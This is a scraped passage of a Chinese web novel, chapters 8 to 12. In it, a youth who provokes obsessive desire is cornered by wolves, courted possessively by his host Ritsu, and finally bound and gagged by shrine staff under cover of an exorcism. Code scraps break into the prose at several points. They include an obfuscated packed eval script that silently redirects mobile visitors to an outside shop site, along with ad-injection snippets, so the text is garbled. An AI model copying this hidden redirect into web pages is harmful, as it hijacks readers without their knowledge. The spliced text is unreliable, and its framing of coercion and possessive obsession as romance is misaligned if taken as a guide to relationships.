悠真摔在泥土里,已经能听见狼喘息的声音,也许在下一秒,它们就会扑上来。 8. 第 8 章 那一声尖叫在山林间漫开,有幼鸟从枝头扑翼而飞,香川凛停下脚步发现原本一直跟在身后的悠真已经不见踪影。 “乌龟?”他朝着身后的方向叫了几声,没有得到回答。 直到这个时候香川凛才察觉到一丝不对劲,整片山头都太安静了,无论是鸟鸣还是兽语都听不见,就好像……就好像所有的生灵此时都不在这里,他们同一聚集在某个为人所不知的角落里了。 顺着来时的路香川凛一路找回去,却始终没有看见悠真。按照悠真的个性来说,他不会贸然改换路线不跟自己说的。 香川凛内心隐隐有所不安,而就像要验证这份不安一样,山里起了大雾。 大雾四起,空气湿漉漉的,水珠在枝头凝聚,在一片混合着金色晨光的茫茫雾气之中,一切都被掩藏起来,连脚下的路都是模糊不清的,真正能看见的,只有远处那一栋庄园里的房子。 神隐。香川凛的脑袋里冒出这个词语来。 很小的时候他听过祖母讲述故事,她偶尔提及到过这个词,神隐,形容——被神隐藏起来的东西。 那时候祖母亲昵地将他抱在怀里,用半真半假的语调说:“所以小凛不能在山里乱跑,久诹山这么大,万一跑到神隐之地,就连祖母也没有办法找到你。” 现在的场景让他回想起当日,他有点后悔为什么今天要约悠真来跑步。 “悠真!”香川凛终于慌乱到开口直呼悠真的名字,可即便是这样,也没有任何人回应他。 在他越来越急迫的呼喊中依然没有回应的声音。 唯一能看得见的房子好像是专门给他的指引,香川凛打定了主意,摸着路好不容易回到家,香川凛喊来香川律帮忙。 “悠真不见了!” 香川律推了下眼镜,面无表情地,用疑问的语气又重复了一遍他说的话:“悠真不见了?” 香川凛:“来不及解释了!等找到他之后再跟你说!总之他现在在山里,本来是在我平时晨跑的那条路上,可一眨眼就不见了!我、我好像听见了他在尖叫。” 香川律冷静得多,他缓缓推开凛抓着自己的手,看向窗外弥天的雾气:“凛,你镇定一点,也许青山君只是摔倒了,我去拿猎枪,你要一支□□吗?” 香川律带上了一支奥地利生产的高精度步.枪,这只步.枪操作简单,最适合在危急的情况下运用。 躺在草地上的悠真对香川凛的焦灼一无所知,他的手侧红肿,是刚才被绊倒摩擦在地面上导致的。现在这一小片红肿被那只领头狼用濡湿温热的舌头舔过。 就在刚才,悠真还以为自己会被这群野兽扑倒然后分而食之,但现在这些充满野性的东西围在他身边,虽然没有摇尾巴,但和被驯化的狗也几乎没什么两样了。他没有变成它们口下的吃食。 狼的眼神里透出谄媚,用讨好的姿态凑近悠真、轻嗅他,好像仅仅只是闻到他的气味就足够欢欣鼓舞。更有大胆的狼伸出了舌头,小心翼翼地舔过他手上的皮肤,像恶龙舔过珍藏的珠宝。 悠真嫌恶地看过沾在皮肤上的黏腻口水,把手放在草地上蹭了蹭,又藏到身后去。看到他的举动,狼不满的龇了牙,而悠真仅仅只是做出被吓到手脚并用的向后退走,它就立刻把牙齿收了起来。 怎么会连这些东西也……青山悠真害怕又厌恶。 他恨恨地咬着唇,一边流泪一边任由那些狼用鼻子热切地拱着自己。 真恶心,真是恶心。 可是像自己这样总是莫名其妙会招惹他人的人……才是最不正常的存在吧。 青山悠真摸到一块小石头,他偷偷拿起来藏在袖子里,这样接连捡了几块,袖子里鼓鼓囊囊的,有了这些“武器”,悠真大着胆子一脚踢开最近的领头狼,从地上爬起来,用刚才捡到的石子砸向周围的狼只。 有的被砸中的狼向后缩了一小步,于是包围圈出现了一个小缺口,悠真从这个缺口里跑了出去。 雾气消散了一些,虽然还是看不清路,但悠真看到香川家的房顶就在不远处,他的脑袋一片空白,直觉向着房子的方向跑过去。 可还没跑几步,他被什么那只被他踢开的狼咬住了衣服下摆,狼试图拖动他,想要把他拖到其他地方去,好像不不想让他靠近香川家的房子一样。 青山悠真的理智终于全面崩塌,在此之前就算是再离奇的情况,他面对的也是人类,野兽给他的冲击力太大了。 他连续尖叫起来,口中无意识叫骂着:“滚开、滚开,别碰我!恶心、别烦我!滚啊!” “砰——” 像烟花炸开的声音,那只咬住他衣服的狼身上开出一朵鲜艳血红的花朵,狼倒在草地上,血色从它的皮毛下漫开。 雾彻底散开了,阳光倾泻在地面,隐约又是一串铃铛声响,狼群一哄而散,不知道它们究竟是从哪而来。 悠真呆呆站在原地,视线中香川凛那张素来倨傲的脸紧张兮兮地不断放大,他冲向悠真:“你有没有受伤?” 悠真张了张嘴巴,却没发出声音,惊惧万分地看向香川凛。 香川凛急不可耐:“受伤了吗?哪里疼吗?说话啊!” “凛,”香川律走过来:“不要问的那么急,给他点时间。” 直到看到香川律的脸,悠真才有了一种自己安全过来的感觉。 他颤颤巍巍道:“没、没有受伤。” 香川凛松了一口气,又怒气冲冲:“你乱跑什么,都告诉你山里有狼了还要乱跑!” 悠真:“我没有乱跑,我只是不知道你去哪里了……对、对不起……” “没关系,不是你的问题,不用道歉。青山君你哭得眼睛都肿了。”香川律从口袋中拿出手帕,慢慢把悠真脸上的眼泪擦干净,又擦去他手上沾着的草叶和泥土,耐心询问:“能走路吗?” 悠真抬了抬脚:“能。” 香川律牵住他的手:“和我一起走回去,做得到吗?” 悠真点点头,又看向躺在地上的那头狼:“这个……怎么办?” 香川律垂下眼帘,目光微微冷了冷:“皮毛不错,可以做成一张毯子,正好天气还很冷。” 身体渐渐回暖的悠真想到了什么,轻轻扯了扯香川律的手,仰起头看他:“我……刚才听见了铃声,像上次看奉纳舞时听到的一样。” 香川律停下来,思考了片刻,笑了,看向悠真,轻飘飘地说:“看来得去一趟久诹神社了,本来青山君之前也想去的,对吗?” 不知道香川律怎么提起这回事,但一定有他的道理,悠真说:“之前确实有想去过。” 香川律:“那下周末我和你一起去好了。” “这么着急吗?”悠真瞪大眼睛:“下周末吗?” 香川律:“青山君下周末有事吗?” 悠真:“倒是没有,只是……” 只是铃声和狼群的关联是悠真的怀疑而已,他并没有证据证明什么,再说了,就算是怀疑,这个怀疑也太大胆了,简直就像什么志怪小说故事一样。 香川凛插进话来:“你们说的是久诹神社?那我也要去。” 香川律说了声好。 香川凛的目光落在两人牵着的手上,莫名感觉刺眼,他抱起手臂,不满地说:“乌龟你多大了?这么大的人了还要人牵着手走路吗?” 香川凛把悠真说的羞愧万分,赶紧将自己的手抽出,香川律动了动眼睛,目光落在香川凛身上,停了一下,又转开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13788720|145868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 周末一眨眼就到,香川律带上一个漂亮礼盒,说是拜访礼,悠真好奇地多看了两眼,被香川凛按住脑袋嘲笑他是不是没见过昂贵的礼品。 久诹神社和香川家虽然都在久诹山上,但其实隔了不小的一段距离。神社的位置更加隐蔽,像隐居者苦修之地一样。 在去拜访之前,悠真在网上搜索了久诹神社,但因为这个神社很少接待外客,网上搜集到的消息并不多,零星几张图片,有神社的外观,还有一张是巫女带着面具跳舞的图。 她们带的面具是手绘的简单线条,看起来像狐狸又像狼,分辨不清。 在去神社之前,香川律就已经电话预约过了。因为是香川家的人,神社宫司并没有拒绝。 悠真跟在香川律的身后,踏上漫长的阶梯,这里的氛围有些凝滞,连嘴巴一直不停的香川凛都不说话了。 到了庭院门口反而气氛好了许多,神社的宫司和神主都在庭院门口,见到香川律微笑着打招呼,闲话家常一样的说:“今天天气不错,来的路上走了不少台阶吧?” 香川律笑着回复了几句,递给香川凛一个眼神,香川凛就把手里的礼盒递了过去:“这是我们准备的拜访礼,请不要嫌弃。” 这种时候的香川凛像模像样的,应该是学着香川律为人处事的样子,看起来正经多了。 “太客气了。”宫司说着接过礼物。 香川律笑道:“打开看看怎么样?不知道白石先生你们用不用的上。” 出于礼貌,宫司白石当着众人的面打开礼盒,悠真正好也好奇里面有什么,他默默前倾身体,在看见礼盒里放着的东西时愣住了。那只被香川律射杀的狼的皮毛正在其中,已经被做成了一块可以放在脚下的毯子。 白石很明显地顿了一下,但片刻间他已经明白了过来,这位香川家的少爷这次前来不是祈福那么简单。 白石平静地说:“请到屋内就坐用些茶。” 在进屋之前,香川律感觉到有一些视线在暗处偷窥,他对此一向敏感,往柱子后看去,却发现是几个推推搡搡着的年轻巫女。 悠真把口罩往上拉了拉。 脱鞋进了屋,几人跪坐在地板上,香川律有条不紊地表达清楚来意:“我知道神社十几年前收养了一位叫明纱的女孩,现在是神社的巫女。” 白石说:“明纱确实是神社的巫女。” 香川律:“这个女孩在六岁前都是独自生活在山里的,我听祖母提过,说她有些能力,能和山里的野兽沟通什么的。” 白石:“这些都是外界的传言。” 香川律:“传言与否我会判断,现在我想见一见她。” 这不算是什么过分的要求,白石和坐于一旁的神主低声交谈一番,神主便走了出去,白石说:“明纱一会就来,我很好奇,是明纱她做了什么错事吗,律先生要亲自前来见她?” 香川律道:“也不是什么错事,只是我的朋友在被山里的野兽袭击前好像见到了她。” 原来是这么回事,明纱个性跳脱,但绝对不是什么不分青红皂白袭击控制野兽袭击别人的人,白石对此还是有信心的。 他解释道:“这大概是一场误会。” 香川律不置可否:“如果是误会的话,这次能解开就再好不过了。” 白石没有想到的是,打脸来得很快,明纱一进屋,脸色就变了,像个没礼貌的小丫头一样叫起来:“怎么又是你?” 明纱的视线不是停留在香川律的身上,而是看向了坐在香川律身旁的那个一直带着口罩连茶都没有喝的奇怪少年。 白石顺着她的目光看向这个一直被自己误认为是陪客所以忽视的少年,这一看,竟然有些挪不开眼睛。 9. 第 9 章 这个青年人一直表现得过于安静,白石没有想到问题会在他身上。当他看着青年,想要将他看清时,又发现这个人将自己遮得严严实实,无论从哪个角度,根本都看不清他究竟长什么样。 但即便看不清他的样貌,还是有一股说不上来的东西在牵引着白石,就像……就像眼前青年是一个漩涡,而他只能陷在漩涡里不断的下坠。 这是一种危险的感觉,白石皱着眉头与此抵抗。 少女明纱横插在二人中间叫道:“宫司大人,不要看他,他就是魔鬼,不仅能蛊惑人心,连野兽都能蛊惑的魔鬼!” 白石的理智还在,又被明纱这么一叫唤,脑袋清醒不少:“明纱,不要这么没有礼貌,大人们还在场。律先生,让你们见笑了。” 明纱仍旧想要尽全力让白石相信自己:“连狼都能匍匐在他的脚下,那根本不是正常人可以做到的事情,宫司大人,快把他驱逐走!” “喂喂喂,”香川凛也跟着叫了起来,反唇相讥:“这么说来那群狼果然是你放的,那是不是证明你也不是什么正常人?再说了,我明明看见狼在欺负乌……悠真,是亲!眼!所!见!哪里有你说的什么蛊惑什么的,你当是编小说啊?” 明纱掐着腰,一手指着香川凛:“这个人也被他蛊惑了,不能相信!” 香川凛哈哈大笑,嘲弄道:“你干脆说世界上所有人都被悠真蛊惑了好了,真是不知天高地厚,还敢对我大呼小叫,你知不知道香川家每年要拨多少钱用作久诹神社的修葺费?这里、你脚下踩的每一块土地都是香川家所有!如果我真的被他蛊惑了,那我要做的第一件事就是取消对久诹神社的所有资助。” 涉及到切身的利益,白石不得不打圆场:“好了,明纱,应该是误会,下次不要做出这么鲁莽的行径了。” 明纱自小就有不一样的天赋神通,一直被神社里的人所信赖,有什么重大的事务大家也都会首先征求她的意见。像这样不被信任、还说她做出的行为是“鲁莽”的,还是第一次。 激愤之下,明纱的眼睛里充盈了委屈的泪水,做出了自己也没有想到的举动。 她大步走到悠真面前,趁着对方还没有反应过来一举摘下他的眼镜和口罩。 “为什么都不相信我?他本来就是不正常的东西!你们看看好了!” 面容袒露之下,悠真犹如被撕开衣服一样难堪。 白石只看了他一眼,刚才的所有不可言说的感情都在复苏,并且愈演愈烈。 他要占有这个人,这个青年人本来就该是他的,这个人生来……就应该是他的!如果这个青年不能被某个人全权占有,那么一定会惹出巨大的骚乱。就由他自己来做这个占有者、骚乱平息者好了。 这个青年叫什么?他好像叫悠真? 他会将悠真藏在最隐秘之处,阳光和露水也不能抵达的地方,如果悠真顺从那很好,如果他不顺从他会先卑微乞求,乞求无用的话那就只能用一些过激手段了。 然而这一切都不能怪他,只能怪悠真,这个美得发邪的脆弱人偶,是造物者对于他的垂怜和恩赐。 他理应拥有他。 白石不是什么毛头小子,就算被这种情绪影响他还是能保持表面的体面。 他不动声色地让明纱把口罩和眼镜还给悠真,顺势提议道:“明纱是很有神性的孩子,不会随便污蔑任何一个人,神社里的人都清楚这一点。” 香川凛:“你这是什么意思?” “依我看,如果能打消大家的疑虑就再好不过了。香川家族一直虔诚供奉山神,我也不愿意看见一个来历不明不清不楚的人待在律先生身边。这样好了,悠真如果能在神社内进行一次驱邪仪式,大家都会放心很多。” 香川凛怒而起身:“为什么要有驱邪仪式。” 悠真观察着香川律的反应,而香川律一直没什么反应,表情始终是淡淡的,带着一点浮在表面的礼貌性笑意。 不像香川凛那么抗拒,香川律慢慢喝了一口茶,看向悠真,问他的意见:“青山君,你觉得应该怎么做?” 驱邪仪式……青山悠真其实也曾经对自己有过怀疑。 “会痛吗?”他小声地问。 连声音也这么好听。 白石努力说服自己要有耐心,才能保持平时的庄重风范:“不会疼的,也不会伤害到身体,需要沐浴净体、斋戒三日,再进行清音仪式就可以。” “那……”悠真看了看香川律:“香川先生就让我试一试吧。” 香川律侧目看着他,两人并排而坐,他轻轻将手覆在悠真的手上以做安抚:“不要怕,这三天我会陪着你住在这里。” 有香川先生陪着,悠真又放心了一点。 香川凛咬着牙:“你怎么能答应?他们说什么你就信什么吗,蠢货,你迟早有一天把自己卖了都不知道!” 悠真不明白香川凛为什么这么生气,总之香川凛再生气也没有离开。 白石立即安排巫女进行一些必要的流程,香川律制止了:“先等一下,不着急,我想带着青山君熟悉熟悉这里。” 跟着香川律,悠真将神社逛了一圈。总体来说神社占地面积不算太大,正如之前所想的那样,这更像是一个隐世之地。 两人一同拉动铃绪,在祈福铃铛的清音中双手合十,许下心愿。 悠真有偷偷睁开眼睛,看见香川律一脸虔诚面容平和,反倒是不远处的香川凛捉到他偷偷睁眼,口型在对着他说“乌龟真是笨蛋”,悠真赶紧又闭上了眼睛。 铃绪下是一个箱子,香川律说那是心愿盒。久诹神社每年只有新年才会对外开放,那一天人们可以把新年心愿写下来塞进心愿盒,会很灵验,小时候他和家里的两个弟弟新年时也来写过。 香川律笑眯眯地问香川凛:“凛,你还记得你当时写了什么吗?” 香川凛扯了扯嘴角:“那时候我才七岁吧,早就不记得了,倒是哥,哥那时候应该很大了,还记得吗?” 香川律笑了:“好像是想要获得夏清杯写作大赛的一等奖,那个对申请大学很有帮助,后来在卓也舅舅的指导下实现了,这么一想,心愿盒很灵验啊。” 香川凛咧着嘴笑起来:“那应该是要感谢卓也舅舅吧。” 香川律没答话,转而问悠真:“青山君想写吗?”
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 悠真:“现在可以写吗?现在……不是新年的时间也可以吗。” 香川凛:“那种规矩只是限制公众而已,既然已经进来了,想写就写好了。” 香川律借来纸和笔,三个人一同写好心愿塞进了心愿盒。 香川凛装作不在意的样子问悠真写了什么,悠真眨了下眼睛说不告诉他,香川凛气冲冲地说他才不想知道只是随口一问而已。 看着两人玩闹,香川律的目光微微暗了暗,看见有巫女抱着浴衣站在不远处,他轻声叫住了悠真:“青山君,有人来了。” 一个没见过的巫女上前对三人说:“我带你们去温泉洗浴的地方,洗好之后换上浴衣就可以了。” 悠真忐忑接过浴衣,香川律和香川凛倒没什么害怕和担心的,可能因为已经来过很多次了。 三人跟着巫女来到神社后的温泉屋,温泉屋有几个小隔间。悠真脱去衣物,进了自己的隔间里。 刚才巫女介绍说这里的温泉是山里的天然温泉,果然很舒服,温泉水中有淡淡的矿物味道,热度刚刚好,毛孔都舒张开。 换上浴衣出来,还没带上口罩,正好遇到也刚出来的香川律。 香川律一边扣着浴衣,还没完全系好,浴衣松散,胸口的皮肤漏了一些出来,能看见被水浸泡过后泛着莹白的皮肤。 香川律一抬头,随意打着招呼:“啊,青山君,你也出来了。” 悠真的脸一热,不知道该看哪里。香川律见他不说话还兀自奇怪:“怎么了青山君,你的脸怎么那么红?” 悠真不好意思说出真正的原因,就拿口罩搪塞:“可能口罩戴太久了吧……就会……就会变红。” “对了,戴这个吧,刚才巫女送过来的,送错房间了送到我那里去了。”香川律递过来一片面纱一样的东西:“白石先生让你不要戴口罩了,口罩不舒服,戴这个好了,这是巫女平时会用的面纱,用这个覆面会舒服很多。” 悠真道了谢,匆匆把面纱带上遮住自己越来越热的面庞。他现在有点不敢看香川律,可香川律却转到他的面前,端详着笑了起来:“听说古代某个地方有这种风俗,女子出嫁会戴上面纱。青山君现在,完全就像是一个小新娘。” 悠真:“不、不要取笑我了。” 香川律弯下身,看得很近,身上的热气浪潮一般涌到悠真的身体上:“不是取笑,是赞美,因为青山君现在太可爱了,穿的浴衣也很适合你。” 香川先生的语气太真诚了,真诚到无论说什么话都不会让人觉得冒犯。悠真看着香川律一时失神,忘记了挪开眼睛。 “你们在干什么呢?”香川凛迈着大步走过来。 香川律站直身体:“我在夸他,你看,不觉得他很适合这个造型吗?” 香川凛上下打量着悠真。 “真是的。”他努力掩饰自己的不自在,咳嗽了几声,也不知道怎么回事,看着青山悠真就容易让他浑身上下都像被虫子咬了一样。 香川凛一把敲上悠真的脑袋,给他吃了个栗子:“哪里有哥说的那么好,分明就是穿什么都透着一股子傻气,乌龟,别被夸几句就自大起来了。” 10. 第 10 章 晚饭吃的是很简单的日式茶汤泡饭,佐以梅干,这三天悠真必须全部都吃这样简单的斋饭。 粗茶淡饭其实并没有什么,悠真本来过的也不是那种奢华的生活。但用晚餐时宫司和其他人若有似无的目光却让他有了一种熟悉的感觉,让他想要逃避。 可是席间无人说话,他也不好做些唐突举动。 幸好还有那一层面纱,可以给他一点点安全感的宽慰。 用过晚餐,白石说:“悠真需要摘抄《祈福录》。” 悠真:“那、那是什么?不是说只有沐浴斋戒和清音仪式吗?” 白石:“是可以静心、洁净灵魂的文字,住在这里的神职人员平时都会做的。当然,如果不愿意的话也可以不做的。” 都这样说了,拒绝好像显得他心里有鬼,悠真只能答应下来:“好的,要怎么做呢?” 白石说:“跟我来,我会教你。” 香川凛:“我也要参加!” 白石淡淡笑道:“可以让巫女告诉你怎么做。” 香川凛放下碗筷看似在胡闹:“难道我不能和你们一起吗?” 白石说的有理有据:“是这样的,凛少爷,如果参加人数太多的话反而会让心浮躁不定,所以一般来说摘抄这样的事情都是在各自的房间里做,如果是第一次体验,也都是一个老师教一位客人。” 香川凛:“也不在乎多我一个吧!放心,我会安静地坐着摘抄的,不会打扰你们的。” “凛,”香川律发话了:“不要胡闹。” 香川凛撇了撇嘴,却无法反抗兄长的权威。 悠真跟着白石进了摘抄室,白石问他会不会用毛笔,悠真摇头说自己从小到大就没碰过这样的东西。 白石在他身侧坐下,教他如何握笔,讲述道:“古时候日本派出遣唐使,从中国带回了毛笔……” 白石靠得……好像有点太近了。悠真感到不舒服,又怀疑是不是自己太敏感了。 “随着宗教的发展,摘录变得盛行……” 白石的手握上他的手:“悠真,你的姿势不对。” 悠真吓得丢开笔,噌得一下站起来:“我我……” 白石不解地看着他,满是正气凛然的模样,倒让悠真觉得是自己的反应太大了,他摸了摸脸上的面纱,放心了一些,对白石道歉道:“不好意思宫司先生,我、我有点不舒服,我想……我还是不参加这项活动了。” 白石还想挽留他:“也许摘抄之后你会舒服很多。” “不、不用了。” 不知道为什么,虽然目前周围一切正常,但悠真还是有一种想要逃跑的感觉。 他迫不及待地走出门,被门槛绊了一下,一只手扶住了他的身体:“青山君。” 是香川先生啊…… 听到香川先生的声音就会觉得安全,毕竟香川先生帮助过他太多次了。 “怎么了?为什么脸色看起来这么苍白?”香川律问。 悠真撑起笑脸:“没有,没有什么。” 是他太敏感了而已。 香川律:“那么,摘抄完成了吗?” 悠真难堪地摇了摇头:“没有,我……中途放弃了。” 香川律惊讶地看他:“放弃?” “太闷了,所以,放弃了。”悠真找了一个还算说的过去的借口。 香川律摸了摸他的脑袋,手指轻柔得像羽毛,抚平悠真内心的不良情绪:“是这样啊,神社是很多年前建的,多年来也只是修葺没有重建过,老式建筑低矮,确实会显得沉闷。” 香川先生没有责怪他的半途而废,还陪着他在庭院中吹了吹山风,青山悠真很不好意思占用香川律这么多时间:“对不起。” 香川律侧目:“为什么要道歉?” 悠真:“我好像太依赖香川先生了。” 听闻此话香川律忍俊不禁,他看向远方山野春季的绿色,那些新鲜而生机的绿意投映在香川律的眼眸中:“青山君完全不需要有这种烦恼,我很喜欢被青山君依赖。” 虽然没有看自己,但悠真觉得香川律此时说的应该不是什么客套话,香川先生,应该是喜欢和他相处的吧,把他……当成朋友了吗?这样想会不会太自我感觉良好了? 悠真感到一丝说不上来的喜悦。 山里温度降得很快,太阳一落山气温就有了明显的变化,神社采用最古朴的生活方式,很少有电灯,巫女们一个个出来点上蜡烛和灯笼。还给了他们一人一支烛台。 烛火燃起光晕里,香川律眉眼弯弯的:“不要再多想了,回去休息吧。” 悠真铺好床 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 睡在草席上。睡前他犹豫了一下,还是没有摘面纱。 烛台上的蜡烛已经熄灭了,冷白色的月光从窗户照在光滑的蜡油上,让人生出一些寒意,悠真往被子里缩了缩,双手环抱住自己,依然觉得冷。 山里凉气太重了,又不像香川家布置的那么舒适,那些凉气从门沿窗缝里挤进,又从草席下透出。 哆哆嗦嗦着,悠真好不容易能勉强睡着,梦中也是一样的凉,直到一滴热蜡滴到他的脸上。 悠真一下子被吓醒,睁开眼睛看见的是白天给他们引路的巫女。 那巫女就蹲在他的床榻边,手里握着一柄蜡烛,蜡烛微微倾斜,于是烧化的蜡油就那么不小心的滴落到悠真的脸上。 被抓了个现行,在悠真呼喊起来前巫女吓得就去捂他的嘴:“不要叫!我不是故意的,我只是想看看你的样子,明纱说你是魔鬼,可我觉得你不像,你长的真漂亮,我们能做朋友吗,悠真,你叫悠真对吧,真好听的名字,和你很相称呢……” 巫女一开始的语气还很正常,说到后来腔调转变成了一种梦中呓语,眼神空洞洞的,宛如被抽走了灵魂。 悠真躲开她的手,强作镇定:“我要睡觉了,你打扰到我了。” 巫女掩着嘴巴:“打、打扰到你了?” 她好像才反应过来自己的举动有多不合适。 悠真故作严厉地说:“既然你已经看到我的脸了,也该回去睡觉了吧,被神社的其他人看到恐怕不太好。” 巫女的眼睛直勾勾看着他,总算恢复了点神志:“是哦,被宫司大人发现的话会被骂的。” 悠真连连点头。 “可是,”巫女指了指自己:“为什么你都不问我叫什么名字?” 她责怪地看着悠真,像责怪心上人对自己完全不在意一样。 悠真的心脏在突突的跳动,他经历过太多次这样的事情,一开始有些人还不会很疯狂,只是对他表现出一点兴趣而已,曾经他以为那些是友好的信号,也尝试交过一些朋友,可是后来他发现,如果任其发展下去,他们无一不会走向失控。 幸好,眼前的人还处在刚萌芽的阶段。 悠真捂住心口,平息着因受惊吓而剧烈起伏的胸膛:“明天再问好了,现在,真的太晚了,不是交朋友的好时间。” 11. 第 11 章 巫女被他打发走了,这就是萌芽期的好处,至少还存在理性这种东西。 悠真将被子拉到墙角,后背靠着墙,用被子和墙壁给自己组成了一个半圆形的“安全区”。他不知道还会从哪里冒出一些难以驱逐的视线,但至少目前……目前他能给自己找点心理慰藉。 “青山君,你醒了吗?” 突然传来的叩门声让他惊了一下,但随后是令人心安的香川律的声音。 手机的时间显示两点,香川先生为什么会深夜造访? 虽然有疑问,悠真还是实话实说地回答他:“醒了。” 香川律:“醒了的话我可以进来吗?” 悠真刚说完“可以”,推拉门就被拉开一道可以容纳一人身躯的位置,香川律走进来,又转身贴心地将门关好。 看见悠真把自己用被子和墙包围起来,香川律若有所思,明白过来什么。 “我听见了一些动静,从窗户看见一位巫女匆匆离开,担心你这里有事,所以过来看看。”香川律解释道。 忽然,他的目光停留在悠真的脸上,定格于某一点,悠真恍然想起来自己脸上滴的那滴蜡油还没有擦。 他用手抹了抹那个位置,凝固的蜡油从面容上脱落。 香川律一步一步走近:“刚刚有人来过吗?” 悠真:“有是有,但是……没事了……已经解决了……” 悠真有事不告诉他。 不想说也好,不想让他担心也好,无论是出于什么理由的隐瞒对于香川律来说都是不能容忍的。 他放轻声音,夜色容易让人不安,他对待悠真的态度就像对待一只易受惊的鸟雀,再次询问:“什么叫做‘解决’了?” 悠真几乎要把脸全部埋在自己的臂弯里了。这个问题不是那么容易回答的。 该怎么解释呢,偷偷进来的巫女其实也没有做出什么出格的举动,顶多就是有点冒犯,如果自己说很受困扰会不会被觉得是小题大做、过度紧张了?就算香川先生人再好,也不能总是和他说一些沉重的话。 悠真没有改口,依旧掩饰着说:“没事,真的没事。“ 还是不肯开口啊。 即便他什么都不说,香川律大概也能猜出发生了什么,但他希望悠真可以主动将一切说出来,全部、所有,都亲口告诉他。 他一直走到悠真身前,他的影子从脚下蔓延,一直延申到墙壁上,悠真蜷缩的身体完全被这片阴影笼罩,他抬起头,第一次感到香川律的身躯这么庞大,庞大得像一只被月光扭曲的、咄咄逼人的怪物,镜片后的眼睛藏在背光之地,流露出一股腐坏的味道。 香川律缓缓蹲下身:“不是之前才说过吗,青山君可以放心地依赖我,不需要有任何负担,我还以为已经把话说得很清楚、和青山君是坦诚的关系了,可现在连一句真话也听不到,真让人伤心。” 最后几个字,香川律咬字很重,脸上还透着一股子失望。 悠真:“不、不是这样的,我只是不想香川先生总是担心我。” 香川律:“隐瞒才是最让人担心的,脸上的蜡油能匆匆擦去,被烫红的皮肤可不会轻易就好,青山君如果什么都不说的话,我要怎么帮助你一起解决问题?” 香川律抬起食指,点了一下悠真被蜡油烫到的那一小块。 悠真犹豫着、也担忧着:“真的……不会有负担吗?如果我把隐瞒的事情告诉香川先生的话,香川先生会不会……觉得我很奇怪?” 悠真的这副怯懦配上苍白的皮肤和墨黑的瞳孔,让香川律有一种说不出来的冲动,他想把悠真从这堆碍眼的被子里剥离出,让他毫无保留地袒露在自己的视线之下。 青山悠真会继续用这样委婉生动的表情看着他,或许还会添一丝不明白他为什么会这么做的委屈,又或许他会疑惑地如往常一样叫他“香川先生”。他的脸上无论出现什么表情都美得虚幻,青山悠真这样的人物就应该完完全全属于他。 但他什么也不会流露出来的,在悠真眼中,他还要保持那个“正常又体贴“的香川先生。 “无论是什么,”香川律笃定地回答:“青山君无论说出什么样的话,我都不会觉得你奇怪。” 他眼神坚定,打消悠真心中的最后一丝疑虑。 悠真颤颤巍巍从被子中伸出一只手,香川律只看了一眼就握住了这只纤细的手臂。 肢体的接触让先前说的所有话语都变得更加可靠,悠真难掩沮丧地叹了一口气:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 其实……以前还是很正常的,后来不知道为什么,高中之后一切都变了……” 黄昏的教室、逃不出去的包围、前一秒手里还捧着漂亮礼物盒说要送给他、在他委婉拒绝之后面目变得狰狞的不认识的同学、手工课上有人流了血、原来是自己用美工刀在手心刻上“青山悠真”……悠真的声音低低的,倾诉这些一直困扰着他但他从不敢说出口的事情。 说完之后觉得难为情,垂下眼睛,嗓音带上了点哭腔:“就是……就是这些,都是真的。” 在悠真说话期间,香川律只是安静地聆听,直到悠真声音发生变化,哽咽着,他才发出了一声感叹:“原来是这样。” 意义不明的话语,悠真更看不懂香川律那一脸平静代表着什么意思,好像自己无论说出多么匪夷所思的话香川律都不会讶异。 香川律说:“看来青山君这些年都没有被温柔地对待过,青山君,你孤独太久了吧。” 他说的太温柔,悠真有几分动容,眼睛闪烁着,里面盛着昼夜不息的银河和傍晚他们一起亲眼目睹的落日余晖。 世界上最闪耀的东西也比不过悠真的眼睛。 “如果感到孤独或者害怕的话……”香川律说着,缓缓倾身低下头,嘴唇浅浅印在悠真的眼睛上方:“就一直留在我身边,我想要好好对待悠真你。” 这个算不上是亲吻的吻代表什么,悠真有点迷惑,但他想香川律应该是在安慰自己。 因为公司有事,香川律第三天一早不得不匆匆离开,但他答应在傍晚前会赶回来参加仪式。 还没到傍晚,白石就通知悠真可以开始驱邪了。 悠真被领到一间四周挂满麻绳的房子,绳子上满是铃铛,有风吹进来时铃铛会发出清脆的声音,前面还有一扇金色屏风,屏风后隐约挡着一个什么东西。巫女手持神乐铃站成一圈,每个人脸上都没有表情。 白石走到屏风前,从茶几上摆放的几样东西中拿起一捆麻绳。 他身形轻轻顿了下,慢慢转身走向悠真:“在仪式开始前,要用注连绳绑住全身。” 用……用这样结实的麻绳绑着身体吗? 悠真想起了记忆里的某些不好的画面,后退了一步:“为……为什么?” 12.第 12 章 “注连绳可以驱逐邪秽,神乐铃可以洗涤灵魂。”白石嘴角带着一抹若有似无的笑,回答悠真的话。 但是那太奇怪了,怎么会有人心甘情愿让别人把自己绑住。 悠真当然不愿意:“还是不用了,我想……我想我不会乱动的。” “悠真……”白石向他伸出手,紧紧攥住他的手腕:“这是最基本的流程,不要淘气。” 四周站了一圈巫女,悠真注意到里面没有明纱。 白石给了巫女们一个眼神,所有的巫女立刻上前将悠真包围起来,有的抓住他的手、有的按住他的肩膀……以防他过度挣扎,顺便还把他的嘴巴用胶布封住。一切都是有备而来的样子。 其中一个巫女,她固定住悠真的脑袋,好让绳索可以圈住他的脖颈,她和其他人都不一样,她按的太用力,指甲划破悠真的脖子,带着怨恨似的。 